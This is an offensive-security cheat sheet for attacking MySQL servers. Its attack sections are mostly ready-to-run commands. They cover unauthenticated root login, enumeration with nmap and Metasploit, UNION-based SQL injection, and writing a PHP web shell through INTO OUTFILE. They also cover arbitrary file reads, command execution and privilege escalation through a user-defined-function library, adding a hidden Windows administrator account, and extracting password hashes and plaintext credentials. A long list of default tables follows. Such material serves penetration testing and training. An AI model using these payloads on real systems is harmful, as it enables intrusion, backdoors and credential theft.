# 3306 - Pentesting Mysql

## **Basic Information**

**MySQL** is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (**SQL**).\
\_\*\*\_From [here](https://www.siteground.com/tutorials/php-mysql/mysql/).

**Default port:** 3306

```
3306/tcp open  mysql
```

## **Connect**

### **Local**

```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```

### Remote

```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```

## Enumeration

Some of the enumeration actions require valid credentials

```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```

[**Brute force**](/githubimport/brute-force.md#mysql)

## Write any binary data

```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```

## **Basic & interesting MySQL commands**

```bash
show databases;
use <database>;
show tables;
describe <table_name>;

select grantee, table_schema, privilege_type FROM schema_privileges; #Exact privileges
select user,file_priv from mysql.user where user='root'; #File privileges
select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Try to execute code
select do_system('id');
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```

## MySQL arbitrary read file by client

Actually, when you try to **load data local into a table** the **content of a file** the MySQL or MariaDB server asks the **client to read it** and send the content. **Then, if you can tamper a mysql client to connect to your own MyQSL server, you can read arbitrary files.**\
Please notice that this is the behaviour using:

```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```

(Notice the "local" word)\
Because without the "local" you can get:

```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```

**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)

## POST

### Mysql User

It will be very interesting if mysql is running as **root**:

```bash
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
```

### Privilege escalation

How to:

* Current Level of access
  * mysql>`select user();`
  * mysql>`select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user where user='OUTPUT OF select user()';`
* Access passwords
  * mysql> `use mysql`
  * mysql> `select user,password from user;`
* Create a new user and grant him privileges
  * mysql>`create user test identified by 'test';`
  * mysql> `grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;`
* Break into a shell
  * mysql> `\! cat /etc/passwd`
  * mysql> `\! bash`

### Privilege Escalation via library

You can find **compiled versions** of this **libraries** in sqlmap: `locate lib_mysqludf_sys.so` and `locate lib_mysqludf_sys.dll`Instead of `locate` you can also use `whereis` to search for this libraries inside the host.

#### Linux

```sql
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
select * from npn into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so';
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt');
```

#### Windows

```sql
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_files('C://temp//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");
```

### Extracting MySQL credentials from the database

```sql
SELECT User,Host,Password FROM mysql.user;
SELECT User,Host,authentication_string FROM mysql.user;
```

```bash
mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"
```

### Extracting MySQL credentials from files

Inside */etc/mysql/debian.cnf* you can find the **plain-text password** of the user **debian-sys-maint**

```bash
cat /etc/mysql/debian.cnf
```

You can **use these credentials to login in the mysql database**.

Inside the file: */var/lib/mysql/mysql/user.MYD* you can find **all the hashes of the MySQL users** (the ones that you can extract from mysql.user inside the database)*.*

You can extract them doing:

```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```

### Enabling logging

You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines:

![](/files/-MaoHbluJavJ0Lab77sP)

### Useful files

Configuration Files

* windows
  \*
  * config.ini
  * my.ini
    * windows\my.ini
    * winnt\my.ini
  * \<InstDir>/mysql/data/
  * unix
    * my.cnf
      * /etc/my.cnf
      * /etc/mysql/my.cnf
      * /var/lib/mysql/my.cnf
      * \~/.my.cnf
      * /etc/my.cnf
* Command History
  * \~/.mysql.history
* Log Files
  * connections.log
  * update.log
  * common.log

## Default MySQL Database/Tables

{% tabs %}
{% tab title="information\_schema" %}
ALL\_PLUGINS\
APPLICABLE\_ROLES\
CHARACTER\_SETS\
CHECK\_CONSTRAINTS\
COLLATIONS\
COLLATION\_CHARACTER\_SET\_APPLICABILITY\
COLUMNS\
COLUMN\_PRIVILEGES\
ENABLED\_ROLES\
ENGINES\
EVENTS\
FILES\
GLOBAL\_STATUS\
GLOBAL\_VARIABLES\
KEY\_COLUMN\_USAGE\
KEY\_CACHES\
OPTIMIZER\_TRACE\
PARAMETERS\
PARTITIONS\
PLUGINS\
PROCESSLIST\
PROFILING\
REFERENTIAL\_CONSTRAINTS\
ROUTINES\
SCHEMATA\
SCHEMA\_PRIVILEGES\
SESSION\_STATUS\
SESSION\_VARIABLES\
STATISTICS\
SYSTEM\_VARIABLES\
TABLES\
TABLESPACES\
TABLE\_CONSTRAINTS\
TABLE\_PRIVILEGES\
TRIGGERS\
USER\_PRIVILEGES\
VIEWS\
INNODB\_LOCKS\
INNODB\_TRX\
INNODB\_SYS\_DATAFILES\
INNODB\_FT\_CONFIG\
INNODB\_SYS\_VIRTUAL\
INNODB\_CMP\
INNODB\_FT\_BEING\_DELETED\
INNODB\_CMP\_RESET\
INNODB\_CMP\_PER\_INDEX\
INNODB\_CMPMEM\_RESET\
INNODB\_FT\_DELETED\
INNODB\_BUFFER\_PAGE\_LRU\
INNODB\_LOCK\_WAITS\
INNODB\_TEMP\_TABLE\_INFO\
INNODB\_SYS\_INDEXES\
INNODB\_SYS\_TABLES\
INNODB\_SYS\_FIELDS\
INNODB\_CMP\_PER\_INDEX\_RESET\
INNODB\_BUFFER\_PAGE\
INNODB\_FT\_DEFAULT\_STOPWORD\
INNODB\_FT\_INDEX\_TABLE\
INNODB\_FT\_INDEX\_CACHE\
INNODB\_SYS\_TABLESPACES\
INNODB\_METRICS\
INNODB\_SYS\_FOREIGN\_COLS\
INNODB\_CMPMEM\
INNODB\_BUFFER\_POOL\_STATS\
INNODB\_SYS\_COLUMNS\
INNODB\_SYS\_FOREIGN\
INNODB\_SYS\_TABLESTATS\
GEOMETRY\_COLUMNS\
SPATIAL\_REF\_SYS\
CLIENT\_STATISTICS\
INDEX\_STATISTICS\
USER\_STATISTICS\
INNODB\_MUTEXES\
TABLE\_STATISTICS\
INNODB\_TABLESPACES\_ENCRYPTION\
user\_variables\
INNODB\_TABLESPACES\_SCRUBBING\
INNODB\_SYS\_SEMAPHORE\_WAITS
{% endtab %}

{% tab title="mysql" %}
columns\_priv\
column\_stats\
db\
engine\_cost\
event\
func\
general\_log\
gtid\_executed\
gtid\_slave\_pos\
help\_category\
help\_keyword\
help\_relation\
help\_topic\
host\
index\_stats\
innodb\_index\_stats\
innodb\_table\_stats\
ndb\_binlog\_index\
plugin\
proc\
procs\_priv\
proxies\_priv\
roles\_mapping\
server\_cost\
servers\
slave\_master\_info\
slave\_relay\_log\_info\
slave\_worker\_info\
slow\_log\
tables\_priv\
table\_stats\
time\_zone\
time\_zone\_leap\_second\
time\_zone\_name\
time\_zone\_transition\
time\_zone\_transition\_type\
transaction\_registry\
user
{% endtab %}

{% tab title="performance\_schema" %}
accounts\
cond\_instances\
events\_stages\_current\
events\_stages\_history\
events\_stages\_history\_long\
events\_stages\_summary\_by\_account\_by\_event\_name\
events\_stages\_summary\_by\_host\_by\_event\_name\
events\_stages\_summary\_by\_thread\_by\_event\_name\
events\_stages\_summary\_by\_user\_by\_event\_name\
events\_stages\_summary\_global\_by\_event\_name\
events\_statements\_current\
events\_statements\_history\
events\_statements\_history\_long\
events\_statements\_summary\_by\_account\_by\_event\_name\
events\_statements\_summary\_by\_digest\
events\_statements\_summary\_by\_host\_by\_event\_name\
events\_statements\_summary\_by\_program\
events\_statements\_summary\_by\_thread\_by\_event\_name\
events\_statements\_summary\_by\_user\_by\_event\_name\
events\_statements\_summary\_global\_by\_event\_name\
events\_transactions\_current\
events\_transactions\_history\
events\_transactions\_history\_long\
events\_transactions\_summary\_by\_account\_by\_event\_name\
events\_transactions\_summary\_by\_host\_by\_event\_name\
events\_transactions\_summary\_by\_thread\_by\_event\_name\
events\_transactions\_summary\_by\_user\_by\_event\_name\
events\_transactions\_summary\_global\_by\_event\_name\
events\_waits\_current\
events\_waits\_history\
events\_waits\_history\_long\
events\_waits\_summary\_by\_account\_by\_event\_name\
events\_waits\_summary\_by\_host\_by\_event\_name\
events\_waits\_summary\_by\_instance\
events\_waits\_summary\_by\_thread\_by\_event\_name\
events\_waits\_summary\_by\_user\_by\_event\_name\
events\_waits\_summary\_global\_by\_event\_name\
file\_instances\
file\_summary\_by\_event\_name\
file\_summary\_by\_instance\
global\_status\
global\_variables\
host\_cache\
hosts\
memory\_summary\_by\_account\_by\_event\_name\
memory\_summary\_by\_host\_by\_event\_name\
memory\_summary\_by\_thread\_by\_event\_name\
memory\_summary\_by\_user\_by\_event\_name\
memory\_summary\_global\_by\_event\_name\
metadata\_locks\
mutex\_instances\
objects\_summary\_global\_by\_type\
performance\_timers\
prepared\_statements\_instances\
replication\_applier\_configuration\
replication\_applier\_status\
replication\_applier\_status\_by\_coordinator\
replication\_applier\_status\_by\_worker\
replication\_connection\_configuration\
replication\_connection\_status\
replication\_group\_member\_stats\
replication\_group\_members\
rwlock\_instances\
session\_account\_connect\_attrs\
session\_connect\_attrs\
session\_status\
session\_variables\
setup\_actors\
setup\_consumers\
setup\_instruments\
setup\_objects\
setup\_timers\
socket\_instances\
socket\_summary\_by\_event\_name\
socket\_summary\_by\_instance\
status\_by\_account\
status\_by\_host\
status\_by\_thread\
status\_by\_user\
table\_handles\
table\_io\_waits\_summary\_by\_index\_usage\
table\_io\_waits\_summary\_by\_table\
table\_lock\_waits\_summary\_by\_table\
threads\
user\_variables\_by\_thread\
users\
variables\_by\_thread
{% endtab %}

{% tab title="sys" %}
host\_summary\
host\_summary\_by\_file\_io\
host\_summary\_by\_file\_io\_type\
host\_summary\_by\_stages\
host\_summary\_by\_statement\_latency\
host\_summary\_by\_statement\_type\
innodb\_buffer\_stats\_by\_schema\
innodb\_buffer\_stats\_by\_table\
innodb\_lock\_waits\
io\_by\_thread\_by\_latency\
io\_global\_by\_file\_by\_bytes\
io\_global\_by\_file\_by\_latency\
io\_global\_by\_wait\_by\_bytes\
io\_global\_by\_wait\_by\_latency\
latest\_file\_io\
memory\_by\_host\_by\_current\_bytes\
memory\_by\_thread\_by\_current\_bytes\
memory\_by\_user\_by\_current\_bytes\
memory\_global\_by\_current\_bytes\
memory\_global\_total\
metrics\
processlist\
ps\_check\_lost\_instrumentation\
schema\_auto\_increment\_columns\
schema\_index\_statistics\
schema\_object\_overview\
schema\_redundant\_indexes\
schema\_table\_lock\_waits\
schema\_table\_statistics\
schema\_table\_statistics\_with\_buffer\
schema\_tables\_with\_full\_table\_scans\
schema\_unused\_indexes\
session\
session\_ssl\_status\
statement\_analysis\
statements\_with\_errors\_or\_warnings\
statements\_with\_full\_table\_scans\
statements\_with\_runtimes\_in\_95th\_percentile\
statements\_with\_sorting\
statements\_with\_temp\_tables\
sys\_config\
user\_summary\
user\_summary\_by\_file\_io\
user\_summary\_by\_file\_io\_type\
user\_summary\_by\_stages\
user\_summary\_by\_statement\_latency\
user\_summary\_by\_statement\_type\
version\
wait\_classes\_global\_by\_avg\_latency\
wait\_classes\_global\_by\_latency\
waits\_by\_host\_by\_latency\
waits\_by\_user\_by\_latency\
waits\_global\_by\_latency\
x$host\_summary\
x$host\_summary\_by\_file\_io\
x$host\_summary\_by\_file\_io\_type\
x$host\_summary\_by\_stages\
x$host\_summary\_by\_statement\_latency\
x$host\_summary\_by\_statement\_type\
x$innodb\_buffer\_stats\_by\_schema\
x$innodb\_buffer\_stats\_by\_table\
x$innodb\_lock\_waits\
x$io\_by\_thread\_by\_latency\
x$io\_global\_by\_file\_by\_bytes\
x$io\_global\_by\_file\_by\_latency\
x$io\_global\_by\_wait\_by\_bytes\
x$io\_global\_by\_wait\_by\_latency\
x$latest\_file\_io\
x$memory\_by\_host\_by\_current\_bytes\
x$memory\_by\_thread\_by\_current\_bytes\
x$memory\_by\_user\_by\_current\_bytes\
x$memory\_global\_by\_current\_bytes\
x$memory\_global\_total\
x$processlist\
x$ps\_digest\_95th\_percentile\_by\_avg\_us\
x$ps\_digest\_avg\_latency\_distribution\
x$ps\_schema\_table\_statistics\_io\
x$schema\_flattened\_keys\
x$schema\_index\_statistics\
x$schema\_table\_lock\_waits\
x$schema\_table\_statistics\
x$schema\_table\_statistics\_with\_buffer\
x$schema\_tables\_with\_full\_table\_scans\
x$session\
x$statement\_analysis\
x$statements\_with\_errors\_or\_warnings\
x$statements\_with\_full\_table\_scans\
x$statements\_with\_runtimes\_in\_95th\_percentile\
x$statements\_with\_sorting\
x$statements\_with\_temp\_tables\
x$user\_summary\
x$user\_summary\_by\_file\_io\
x$user\_summary\_by\_file\_io\_type\
x$user\_summary\_by\_stages\
x$user\_summary\_by\_statement\_latency\
x$user\_summary\_by\_statement\_type\
x$wait\_classes\_global\_by\_avg\_latency\
x$wait\_classes\_global\_by\_latency\
x$waits\_by\_host\_by\_latency\
x$waits\_by\_user\_by\_latency\
x$waits\_global\_by\_latency
{% endtab %}
{% endtabs %}


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